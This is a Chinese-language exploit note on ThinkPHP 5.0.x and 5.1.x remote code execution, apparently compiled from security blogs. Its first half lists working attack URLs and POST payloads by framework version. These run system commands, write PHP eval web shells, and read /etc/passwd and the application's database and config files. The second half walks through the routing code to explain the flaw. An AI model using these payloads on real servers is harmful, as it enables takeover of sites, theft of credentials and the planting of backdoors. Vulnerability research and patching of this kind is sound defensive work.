本测试环境用的是php7.0.12+apache+thinkphp5.0.20
poc:http://127.0.0.1/tp5.0/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['aa']);?>' > 2.php
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php eval($_POST[nmsl]);?> # 写入shell
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../application/database.php
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../../../../../../../../../../../../../../etc/passwd
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=../application/config.php
版本号:5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system
版本号:5.0.20~5.0.23
payload:
http://url/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
?s=captcha(POST请求)
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=file_put_contents("test.php",base64_decode("MTIz"));
https://y4er.com/post/thinkphp5-rce/
https://blog.csdn.net/weixin_45949219/article/details/104334715
POST
http://url/?s=index/index/
s=-1&_method=__construct&method=get&filter[]=phpinfo
POST
http://url/?s=index/index/
s=file_put_contents('1.php','<?php ev'.'al($_PO'.'ST[x])?>')&_method=__construct&method=POST&filter[]=assert
Thinkphp 漏洞
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞
rce 漏洞的过程
$this->method可控导致可以调用__contruct()覆盖Request类的filter字段,然后App::run()执行判断debug来决定是否执行$request->param(),并且还有$dispatch['type'] 等于controller或者 method 时也会执行$request->param(),而$request->param()会进入到input()方法,在这个方法中将被覆盖的filter回调call_user_func(),造成rce。
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id
5.0.x
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=whoami
可以看到payload分为两种类型,一种是因为Request类的method和__construct方法造成的,另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验
参考自:https://y4er.com/post/thinkphp5-rce/
首先看入口文件,引入thinkphp/start.php文件
跟进thinkphp/start.php,执行的是think/App.php下的run()方法
thinkphp5.0.x漏洞原因是对url处理有关,直接找到think/App.php中run()方法的 URL 路由检测部分
跟进routeCheck()函数,此函数是对路由的检测,routeCheck()函数中判断url中是否设置路由,由于本身根本就没有 路由定义返回不同的URL调度,所以他会走false
parseUrl()此函数用来解析变量$path
(index/think\app/invokefunction),跟进函数,函数中就是对$path
的处理,’/‘替换成’|’,去除左右两边空格,
之后parseUrl()函数会把$route
($route中有 module模块,controller控制器,action方法)以数组的形式返回到routeCheck函数,然后routeCheck()函数返回给dispatch变量(在run函数中)
漏洞就处在此,并不是执行方法错误,而是并未对url进行严谨的过滤
上面打印出来的type是module,所以会走case ‘module’,跟进module方法
继续跟进module方法的返回的invokeMethod函数
invokeMethod函数
$args会获取POC中的余下的参数function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值
call_user_func_array : 调用回调函数,并把一个数组参数作为回调函数的参数。
最后通过反射类IncokeArges()来执行think/app类里面的invokefunction方法
漏洞出现在,没路由的情况下,parseURL解析路由时,没有对url做严谨的过滤导致(反斜杠 think\app)
最终导致传入exec函数的控制器为think\app,而最后通过$reflect->invokeArgs(isset($class) ? $class : null, $args)
来解析类和参数,从而导致命令执行漏洞。